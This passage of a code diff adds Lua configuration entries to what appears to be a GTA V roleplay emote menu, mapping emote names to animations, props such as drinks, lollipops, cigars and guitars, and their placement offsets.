+ "smo@milkshake_idle",
+ "milkshake_idle_clip",
+ "Sip Soda Cup - eCola Light",
+ AnimationOptions = {
+ Prop = 'prop_rpemotes_soda04',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0470,
+ 0.0040,
+ -0.0600,
+ -88.0263,
+ -25.0367,
+ -27.3898
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["dbsoda"] = {
+ "amb@code_human_wander_drinking@male@base",
+ "static",
+ "Soda - Dumb Bitch",
+ AnimationOptions = {
+ Prop = 'dumbbitchjuice',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0060,
+ -0.0020,
+ -0.0700,
+ 180.0000,
+ 180.0000,
+ -10.0000
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["mojito"] = {
+ "amb@code_human_wander_drinking@female@base",
+ "static",
+ "Mojito",
+ AnimationOptions = {
+ Prop = 'prop_mojito',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0000,
+ 0.0000,
+ -0.0900,
+ 0.0000,
+ 0.0000,
+ 130.0000
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["frappe"] = {
+ "amb@code_human_wander_drinking@male@base",
+ "static",
+ "Frappe",
+ AnimationOptions = {
+ Prop = 'brum_heartfrappe',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ -0.0150,
+ -0.0100,
+ 0.0,
+ -3.9999,
+ 0.0,
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["frappe2"] = {
+ "amb@code_human_wander_drinking@female@base",
+ "static",
+ "Frappe 2",
+ AnimationOptions = {
+ Prop = 'beanmachine_cup',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0110,
+ 0.0,
+ 0.0300,
+ 0.0,
+ 0.0,
+ -140.0,
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["frappe3"] = {
+ "amb@code_human_wander_drinking@female@base",
+ "static",
+ "Frappe 3",
+ AnimationOptions = {
+ Prop = 'beanmachine_cup2',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ -0.0600,
+ 0.0,
+ 0.0,
+ -178.0,
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["frappe4"] = {
+ "amb@code_human_wander_drinking@female@base",
+ "static",
+ "Frappe 4",
+ AnimationOptions = {
+ Prop = 'beanmachine_cup3',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ -0.0600,
+ 0.0,
+ 0.0,
+ -178.0,
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["edrink"] = {
+ "mp_player_intdrink",
+ "loop_bottle",
+ "Energy Drink - Bottle",
+ AnimationOptions =
+ {
+ Prop = "prop_energy_drink",
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0080,
+ 0.0010,
+ 0.0160,
+ 3.5690,
+ 4.6611,
+ -49.9065
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["edrink2"] = {
+ "amb@world_human_drinking@coffee@male@idle_a",
+ "idle_c",
+ "Energy Drink - Can",
+ AnimationOptions =
+ {
+ Prop = "sf_prop_sf_can_01a",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ -110.0
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["edrink3"] = {
+ "amb@world_human_drinking@coffee@male@idle_a",
+ "idle_c",
+ "Energy Drink - XXL Can",
+ AnimationOptions =
+ {
+ Prop = "sf_p_sf_grass_gls_s_01a",
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0000,
+ 0.0000,
+ -0.1400,
+ 0.0000,
+ 0.0000,
+ 9.0000
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["mshake"] = {
+ "amb@code_human_wander_drinking@female@base",
+ "static",
+ "Milkshake - Bubblegum",
+ AnimationOptions = {
+ Prop = 'brum_cherryshake_bubblegum',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0030,
+ 0.0280,
+ 0.0800,
+ -180.0,
+ -180.0,
+ 30.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["mshakeb"] = {
+ "amb@code_human_wander_drinking@female@base",
+ "static",
+ "Milkshake - Cherry",
+ AnimationOptions = {
+ Prop = 'brum_cherryshake_cherry',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0030,
+ 0.0280,
+ 0.0800,
+ -180.0,
+ -180.0,
+ 30.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["mshakec"] = {
+ "amb@code_human_wander_drinking@female@base",
+ "static",
+ "Milkshake - Chocolate",
+ AnimationOptions = {
+ Prop = 'brum_cherryshake_chocolate',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0030,
+ 0.0280,
+ 0.0800,
+ -180.0,
+ -180.0,
+ 30.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["mshaked"] = {
+ "amb@code_human_wander_drinking@female@base",
+ "static",
+ "Milkshake - Coffee",
+ AnimationOptions = {
+ Prop = 'brum_cherryshake_coffee',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0030,
+ 0.0280,
+ 0.0800,
+ -180.0,
+ -180.0,
+ 30.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["mshakee"] = {
+ "amb@code_human_wander_drinking@female@base",
+ "static",
+ "Milkshake - Double Chocolate",
+ AnimationOptions = {
+ Prop = 'brum_cherryshake_doublechocolate',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0030,
+ 0.0280,
+ 0.0800,
+ -180.0,
+ -180.0,
+ 30.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["mshakef"] = {
+ "amb@code_human_wander_drinking@female@base",
+ "static",
+ "Milkshake - Frappe",
+ AnimationOptions = {
+ Prop = 'brum_cherryshake_frappe',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0030,
+ 0.0280,
+ 0.0800,
+ -180.0,
+ -180.0,
+ 30.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["mshakeg"] = {
+ "amb@code_human_wander_drinking@female@base",
+ "static",
+ "Milkshake - Lemon",
+ AnimationOptions = {
+ Prop = 'brum_cherryshake_lemon',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0030,
+ 0.0280,
+ 0.0800,
+ -180.0,
+ -180.0,
+ 30.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["mshakeh"] = {
+ "amb@code_human_wander_drinking@female@base",
+ "static",
+ "Milkshake - Mint",
+ AnimationOptions = {
+ Prop = 'brum_cherryshake_mint',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0030,
+ 0.0280,
+ 0.0800,
+ -180.0,
+ -180.0,
+ 30.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["mshakei"] = {
+ "amb@code_human_wander_drinking@female@base",
+ "static",
+ "Milkshake - Strawberry",
+ AnimationOptions = {
+ Prop = 'brum_cherryshake_strawberry',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0030,
+ 0.0280,
+ 0.0800,
+ -180.0,
+ -180.0,
+ 30.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["mshakej"] = {
+ "amb@code_human_wander_drinking@female@base",
+ "static",
+ "Milkshake - Raspberry",
+ AnimationOptions = {
+ Prop = 'brum_cherryshake_raspberry',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0030,
+ 0.0280,
+ 0.0800,
+ -180.0,
+ -180.0,
+ 30.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["mshakek"] = {
+ "amb@code_human_wander_drinking@female@base",
+ "static",
+ "Milkshake - Salted",
+ AnimationOptions = {
+ Prop = 'brum_cherryshake_salted',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0030,
+ 0.0280,
+ 0.0800,
+ -180.0,
+ -180.0,
+ 30.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["mshakel"] = {
+ "amb@code_human_wander_drinking@female@base",
+ "static",
+ "Milkshake - Vanilla",
+ AnimationOptions = {
+ Prop = 'brum_cherryshake_vanilla',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0030,
+ 0.0280,
+ 0.0800,
+ -180.0,
+ -180.0,
+ 30.0
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["sipshake"] = {
+ "smo@milkshake_idle",
+ "milkshake_idle_clip",
+ "Sip Milkshake - Bubblegum",
+ AnimationOptions = {
+ Prop = 'brum_cherryshake_raspberry',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0850,
+ 0.0670,
+ -0.0350,
+ -115.0862,
+ -165.7841,
+ 24.1318
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["sipshakeb"] = {
+ "smo@milkshake_idle",
+ "milkshake_idle_clip",
+ "Sip Milkshake - Cherry",
+ AnimationOptions = {
+ Prop = 'brum_cherryshake_cherry',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0850,
+ 0.0670,
+ -0.0350,
+ -115.0862,
+ -165.7841,
+ 24.1318
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["sipshakec"] = {
+ "smo@milkshake_idle",
+ "milkshake_idle_clip",
+ "Sip Milkshake - Chocolate",
+ AnimationOptions = {
+ Prop = 'brum_cherryshake_chocolate',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0850,
+ 0.0670,
+ -0.0350,
+ -115.0862,
+ -165.7841,
+ 24.1318
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["sipshaked"] = {
+ "smo@milkshake_idle",
+ "milkshake_idle_clip",
+ "Sip Milkshake - Coffee",
+ AnimationOptions = {
+ Prop = 'brum_cherryshake_coffee',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0850,
+ 0.0670,
+ -0.0350,
+ -115.0862,
+ -165.7841,
+ 24.1318
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["sipshakee"] = {
+ "smo@milkshake_idle",
+ "milkshake_idle_clip",
+ "Sip Milkshake - Double Chocolate",
+ AnimationOptions = {
+ Prop = 'brum_cherryshake_doublechocolate',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0850,
+ 0.0670,
+ -0.0350,
+ -115.0862,
+ -165.7841,
+ 24.1318
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["sipshakef"] = {
+ "smo@milkshake_idle",
+ "milkshake_idle_clip",
+ "Sip Milkshake - Frappe",
+ AnimationOptions = {
+ Prop = 'brum_cherryshake_frappe',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0850,
+ 0.0670,
+ -0.0350,
+ -115.0862,
+ -165.7841,
+ 24.1318
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["sipshakeg"] = {
+ "smo@milkshake_idle",
+ "milkshake_idle_clip",
+ "Sip Milkshake - Lemon",
+ AnimationOptions = {
+ Prop = 'brum_cherryshake_lemon',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0850,
+ 0.0670,
+ -0.0350,
+ -115.0862,
+ -165.7841,
+ 24.1318
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["sipshakeh"] = {
+ "smo@milkshake_idle",
+ "milkshake_idle_clip",
+ "Sip Milkshake - Mint",
+ AnimationOptions = {
+ Prop = 'brum_cherryshake_mint',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0850,
+ 0.0670,
+ -0.0350,
+ -115.0862,
+ -165.7841,
+ 24.1318
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["sipshakei"] = {
+ "smo@milkshake_idle",
+ "milkshake_idle_clip",
+ "Sip Milkshake - Strawberry",
+ AnimationOptions = {
+ Prop = 'brum_cherryshake_strawberry',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0850,
+ 0.0670,
+ -0.0350,
+ -115.0862,
+ -165.7841,
+ 24.1318
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["sipshakej"] = {
+ "smo@milkshake_idle",
+ "milkshake_idle_clip",
+ "Sip Milkshake - Raspberry",
+ AnimationOptions = {
+ Prop = 'brum_cherryshake_raspberry',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0850,
+ 0.0670,
+ -0.0350,
+ -115.0862,
+ -165.7841,
+ 24.1318
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["sipshakek"] = {
+ "smo@milkshake_idle",
+ "milkshake_idle_clip",
+ "Sip Milkshake - Salted",
+ AnimationOptions = {
+ Prop = 'brum_cherryshake_salted',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0850,
+ 0.0670,
+ -0.0350,
+ -115.0862,
+ -165.7841,
+ 24.1318
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["sipshakel"] = {
+ "smo@milkshake_idle",
+ "milkshake_idle_clip",
+ "Sip Milkshake - Vanilla",
+ AnimationOptions = {
+ Prop = 'brum_cherryshake_vanilla',
+ PropBone = 28422,
+ PropPlacement = {
+ 0.0850,
+ 0.0670,
+ -0.0350,
+ -115.0862,
+ -165.7841,
+ 24.1318
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["sodafu"] = {
+ "anim@male_drinking_01",
+ "m_drinking_01_clip",
+ "Soda Middle Finger eCola",
+ AnimationOptions = {
+ Prop = 'prop_ecola_can',
+ PropBone = 26613,
+ PropPlacement = {
+ 0.0400,
+ -0.0500,
+ 0.0390,
+ 0.0000,
+ 0.000,
+ -69.9999
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["sodafu2"] = {
+ "anim@male_drinking_01",
+ "m_drinking_01_clip",
+ "Soda Middle Finger Sprunk",
+ AnimationOptions = {
+ Prop = 'ng_proc_sodacan_01b',
+ PropBone = 26613,
+ PropPlacement = {
+ 0.0300,
+ -0.0600,
+ -0.0700,
+ 0.0000,
+ 0.000,
+ 0.000,
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["water"] = {
+ "mp_player_intdrink",
+ "loop_bottle",
+ "Water Bottle",
+ AnimationOptions =
+ {
+ Prop = "vw_prop_casino_water_bottle_01a",
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0080,
+ 0.0,
+ -0.0500,
+ 0.0,
+ 0.0,
+ -40.0000
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["egobar"] = {
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Ego Bar",
+ AnimationOptions = {
+ Prop = 'prop_choc_ego',
+ PropBone = 60309,
+ PropPlacement = {
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0
+ },
+ EmoteMoving = true
+ }
+ },
+ ["candy"] = {
+ "mp_player_inteat@pnq",
+ "loop",
+ "Candy",
+ AnimationOptions = {
+ Prop = 'prop_candy_pqs',
+ PropBone = 60309,
+ PropPlacement = {
+ -0.0300,
+ 0.0180,
+ 0.0,
+ 180.0,
+ 180.0,
+ -88.099
+ },
+ EmoteMoving = true
+ }
+ },
+ ["lollipop1"] = {
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Lollipop Spiral Red",
+ AnimationOptions = {
+ Prop = 'natty_lollipop_spiral01',
+ PropBone = 60309,
+ PropPlacement = {
+ -0.0100,
+ 0.0200,
+ -0.0100,
+ -175.1935,
+ 97.6975,
+ 20.9598
+ },
+ EmoteMoving = true
+ }
+ },
+ ["lollipop1b"] = {
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Lollipop Spiral Pink",
+ AnimationOptions = {
+ Prop = 'natty_lollipop_spiral02',
+ PropBone = 60309,
+ PropPlacement = {
+ -0.0100,
+ 0.0200,
+ -0.0100,
+ -175.1935,
+ 97.6975,
+ 20.9598
+ },
+ EmoteMoving = true
+ }
+ },
+ ["lollipop1c"] = {
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Lollipop Spiral Green",
+ AnimationOptions = {
+ Prop = 'natty_lollipop_spiral03',
+ PropBone = 60309,
+ PropPlacement = {
+ -0.0100,
+ 0.0200,
+ -0.0100,
+ -175.1935,
+ 97.6975,
+ 20.9598
+ },
+ EmoteMoving = true
+ }
+ },
+ ["lollipop1d"] = {
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Lollipop Spiral Blue",
+ AnimationOptions = {
+ Prop = 'natty_lollipop_spiral04',
+ PropBone = 60309,
+ PropPlacement = {
+ -0.0100,
+ 0.0200,
+ -0.0100,
+ -175.1935,
+ 97.6975,
+ 20.9598
+ },
+ EmoteMoving = true
+ }
+ },
+ ["lollipop1e"] = {
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Lollipop Spiral Yellow",
+ AnimationOptions = {
+ Prop = 'natty_lollipop_spiral05',
+ PropBone = 60309,
+ PropPlacement = {
+ -0.0100,
+ 0.0200,
+ -0.0100,
+ -175.1935,
+ 97.6975,
+ 20.9598
+ },
+ EmoteMoving = true
+ }
+ },
+ ["lollipop1f"] = {
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Lollipop Spiral Purple",
+ AnimationOptions = {
+ Prop = 'natty_lollipop_spiral06',
+ PropBone = 60309,
+ PropPlacement = {
+ -0.0100,
+ 0.0200,
+ -0.0100,
+ -175.1935,
+ 97.6975,
+ 20.9598
+ },
+ EmoteMoving = true
+ }
+ },
+ ["lollipop2a"] = {
+ "anim@heists@humane_labs@finale@keycards",
+ "ped_a_enter_loop",
+ "Lollipop Spin Red",
+ AnimationOptions = {
+ Prop = "natty_lollipop_spin01",
+ PropBone = 60309,
+ PropPlacement = {
+ -0.0300,
+ -0.0500,
+ 0.0500,
+ 112.4227,
+ -128.8559,
+ 15.6107
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["lollipop2b"] = {
+ "anim@heists@humane_labs@finale@keycards",
+ "ped_a_enter_loop",
+ "Lollipop Spin Yellow And Pink",
+ AnimationOptions = {
+ Prop = "natty_lollipop_spin02",
+ PropBone = 60309,
+ PropPlacement = {
+ -0.0300,
+ -0.0500,
+ 0.0500,
+ 112.4227,
+ -128.8559,
+ 15.6107
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["lollipop2c"] = {
+ "anim@heists@humane_labs@finale@keycards",
+ "ped_a_enter_loop",
+ "Lollipop Spin Yellow And Green",
+ AnimationOptions = {
+ Prop = "natty_lollipop_spin03",
+ PropBone = 60309,
+ PropPlacement = {
+ -0.0300,
+ -0.0500,
+ 0.0500,
+ 112.4227,
+ -128.8559,
+ 15.6107
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["lollipop2d"] = {
+ "anim@heists@humane_labs@finale@keycards",
+ "ped_a_enter_loop",
+ "Lollipop Spin Yellow And White",
+ AnimationOptions = {
+ Prop = "natty_lollipop_spin04",
+ PropBone = 60309,
+ PropPlacement = {
+ -0.0300,
+ -0.0500,
+ 0.0500,
+ 112.4227,
+ -128.8559,
+ 15.6107
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["lollipop2e"] = {
+ "anim@heists@humane_labs@finale@keycards",
+ "ped_a_enter_loop",
+ "Lollipop Spin Pink And White",
+ AnimationOptions = {
+ Prop = "natty_lollipop_spin05",
+ PropBone = 60309,
+ PropPlacement = {
+ -0.0300,
+ -0.0500,
+ 0.0500,
+ 112.4227,
+ -128.8559,
+ 15.6107
+ },
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["lollipop3a"] = {
+ "amb@world_human_smoking@male@male_a@enter",
+ "enter",
+ "Lollipop Suck",
+ AnimationOptions = {
+ Prop = 'natty_lollipop01',
+ PropBone = 47419,
+ PropPlacement = {
+ 0.0100,
+ 0.0300,
+ 0.0100,
+ -90.0000,
+ 10.0000,
+ -10.0000
+ },
+ EmoteMoving = true,
+ EmoteDuration = 2600
+ }
+ },
+ ["icecreama"] = {
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Ice cream Cherry",
+ AnimationOptions = {
+ Prop = 'bzzz_icecream_cherry',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.14,
+ 0.03,
+ 0.01,
+ 85.0,
+ 70.0,
+ -203.0
+ },
+ EmoteMoving = true
+ }
+ },
+ ["icecreamb"] = {
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Ice cream Chocolate",
+ AnimationOptions = {
+ Prop = 'bzzz_icecream_chocolate',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.14,
+ 0.03,
+ 0.01,
+ 85.0,
+ 70.0,
+ -203.0
+ },
+ EmoteMoving = true
+ }
+ },
+ ["icecreamc"] = {
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Ice cream Lemon",
+ AnimationOptions = {
+ Prop = 'bzzz_icecream_lemon',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.14,
+ 0.03,
+ 0.01,
+ 85.0,
+ 70.0,
+ -203.0
+ },
+ EmoteMoving = true
+ }
+ },
+ ["icecreamd"] = {
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Ice cream Pistachio",
+ AnimationOptions = {
+ Prop = 'bzzz_icecream_pistachio',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.14,
+ 0.03,
+ 0.01,
+ 85.0,
+ 70.0,
+ -203.0
+ },
+ EmoteMoving = true
+ }
+ },
+ ["icecreame"] = {
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Ice cream Raspberry",
+ AnimationOptions = {
+ Prop = 'bzzz_icecream_raspberry',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.14,
+ 0.03,
+ 0.01,
+ 85.0,
+ 70.0,
+ -203.0
+ },
+ EmoteMoving = true
+ }
+ },
+ ["icecreamf"] = {
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Ice cream Stracciatella",
+ AnimationOptions = {
+ Prop = 'bzzz_icecream_stracciatella',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.14,
+ 0.03,
+ 0.01,
+ 85.0,
+ 70.0,
+ -203.0
+ },
+ EmoteMoving = true
+ }
+ },
+ ["icecreamg"] = {
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Ice cream Strawberry",
+ AnimationOptions = {
+ Prop = 'bzzz_icecream_strawberry',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.14,
+ 0.03,
+ 0.01,
+ 85.0,
+ 70.0,
+ -203.0
+ },
+ EmoteMoving = true
+ }
+ },
+ ["icecreamh"] = {
+ "mp_player_inteat@burger",
+ "mp_player_int_eat_burger",
+ "Ice cream Walnut",
+ AnimationOptions = {
+ Prop = 'bzzz_icecream_walnut',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.14,
+ 0.03,
+ 0.01,
+ 85.0,
+ 70.0,
+ -203.0
+ },
+ EmoteMoving = true
+ }
+ },
+ ["wine"] = {
+ "anim@heists@humane_labs@finale@keycards",
+ "ped_a_enter_loop",
+ "Wine",
+ AnimationOptions = {
+ Prop = 'prop_drink_redwine',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.10,
+ -0.03,
+ 0.03,
+ -100.0,
+ 0.0,
+ -10.0
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["flute"] = {
+ "anim@heists@humane_labs@finale@keycards",
+ "ped_a_enter_loop",
+ "Flute",
+ AnimationOptions = {
+ Prop = 'prop_champ_flute',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.10,
+ -0.03,
+ 0.03,
+ -100.0,
+ 0.0,
+ -10.0
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["champagne"] = {
+ "anim@heists@humane_labs@finale@keycards",
+ "ped_a_enter_loop",
+ "Champagne",
+ AnimationOptions = {
+ Prop = 'prop_drink_champ',
+ PropBone = 18905,
+ PropPlacement = {
+ 0.10,
+ -0.03,
+ 0.03,
+ -100.0,
+ 0.0,
+ -10.0
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["cigar"] = {
+ "amb@world_human_smoking@male@male_a@enter",
+ "enter",
+ "Cigar",
+ AnimationOptions = {
+ Prop = 'prop_cigar_02',
+ PropBone = 47419,
+ PropPlacement = {
+ 0.010,
+ 0.0,
+ 0.0,
+ 50.0,
+ 0.0,
+ -80.0
+ },
+ EmoteDuration = 2600,
+ EmoteLoop = true,
+ EmoteMoving = true,
+ PtfxAsset = "scr_mp_cig",
+ PtfxName = "ent_anim_cig_smoke",
+ PtfxNoProp = false,
+ PtfxPlacement = {
+ 0.0750,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.3
+ },
+ PtfxInfo = Translate('smoke'),
+ PtfxWait = 0.8,
+ PtfxCanHold = true
+ }
+ },
+ ["cigar2"] = {
+ "amb@world_human_smoking@male@male_a@enter",
+ "enter",
+ "Cigar 2",
+ AnimationOptions = {
+ Prop = 'prop_cigar_01',
+ PropBone = 47419,
+ PropPlacement = {
+ 0.010,
+ 0.0,
+ 0.0,
+ 50.0,
+ 0.0,
+ -80.0
+ },
+ EmoteDuration = 2600,
+ EmoteLoop = true,
+ EmoteMoving = true,
+ PtfxAsset = "scr_mp_cig",
+ PtfxName = "ent_anim_cig_smoke",
+ PtfxNoProp = false,
+ PtfxPlacement = {
+ 0.06,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 0.0,
+ 1.5
+ },
+ PtfxInfo = Translate('smoke'),
+ PtfxWait = 0.8,
+ PtfxCanHold = true
+ }
+ },
+ ["guitar"] = {
+ "amb@world_human_musician@guitar@male@idle_a",
+ "idle_b",
+ "Guitar",
+ AnimationOptions = {
+ Prop = 'prop_acc_guitar_01',
+ PropBone = 24818,
+ PropPlacement = {
+ -0.1,
+ 0.31,
+ 0.1,
+ 0.0,
+ 20.0,
+ 150.0
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["guitar2"] = {
+ "switch@trevor@guitar_beatdown",
+ "001370_02_trvs_8_guitar_beatdown_idle_busker",
+ "Guitar 2",
+ AnimationOptions = {
+ Prop = 'prop_acc_guitar_01',
+ PropBone = 24818,
+ PropPlacement = {
+ -0.05,
+ 0.31,
+ 0.1,
+ 0.0,
+ 20.0,
+ 150.0
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["guitar3"] = {
+ "amb@world_human_musician@guitar@male@idle_a",
+ "idle_b",
+ "Guitar 3 - Pink",
+ AnimationOptions = {
+ Prop = 'prop_tay_guitar_001',
+ PropBone = 24818,
+ PropPlacement = {
+ -0.1,
+ 0.31,
+ 0.1,
+ 0.0,
+ 20.0,
+ 150.0
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["guitar4"] = {
+ "switch@trevor@guitar_beatdown",
+ "001370_02_trvs_8_guitar_beatdown_idle_busker",
+ "Guitar 4 - Pink",
+ AnimationOptions = {
+ Prop = 'prop_tay_guitar_001',
+ PropBone = 24818,
+ PropPlacement = {
+ -0.05,
+ 0.31,
+ 0.1,
+ 0.0,
+ 20.0,
+ 150.0
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["guitar5"] = {
+ "amb@world_human_musician@guitar@male@idle_a",
+ "idle_b",
+ "Guitar - Pride",
+ AnimationOptions = {
+ Prop = 'prop_tay_guitar_002',
+ PropBone = 24818,
+ PropPlacement = {
+ -0.1,
+ 0.31,
+ 0.1,
+ 0.0,
+ 20.0,
+ 150.0
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["guitar6"] = {
+ "switch@trevor@guitar_beatdown",
+ "001370_02_trvs_8_guitar_beatdown_idle_busker",
+ "Guitar - Pride 2",
+ AnimationOptions = {
+ Prop = 'prop_tay_guitar_002',
+ PropBone = 24818,
+ PropPlacement = {
+ -0.05,
+ 0.31,
+ 0.1,
+ 0.0,
+ 20.0,
+ 150.0
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["guitarelectric"] = {
+ "amb@world_human_musician@guitar@male@idle_a",
+ "idle_b",
+ "Guitar Electric",
+ AnimationOptions = {
+ Prop = 'prop_el_guitar_01',
+ PropBone = 24818,
+ PropPlacement = {
+ -0.1,
+ 0.31,
+ 0.1,
+ 0.0,
+ 20.0,
+ 150.0
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["guitarelectric2"] = {
+ "amb@world_human_musician@guitar@male@idle_a",
+ "idle_b",
+ "Guitar Electric 2",
+ AnimationOptions = {
+ Prop = 'prop_el_guitar_03',
+ PropBone = 24818,
+ PropPlacement = {
+ -0.1,
+ 0.31,
+ 0.1,
+ 0.0,
+ 20.0,
+ 150.0
+ },
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["guitarcarry"] = {
+ "move_weapon@jerrycan@generic",
+ "idle",
+ "Guitar Case Carry",
+ AnimationOptions = {
+ Prop = "sf_prop_sf_guitar_case_01a",
+ PropBone = 28422,
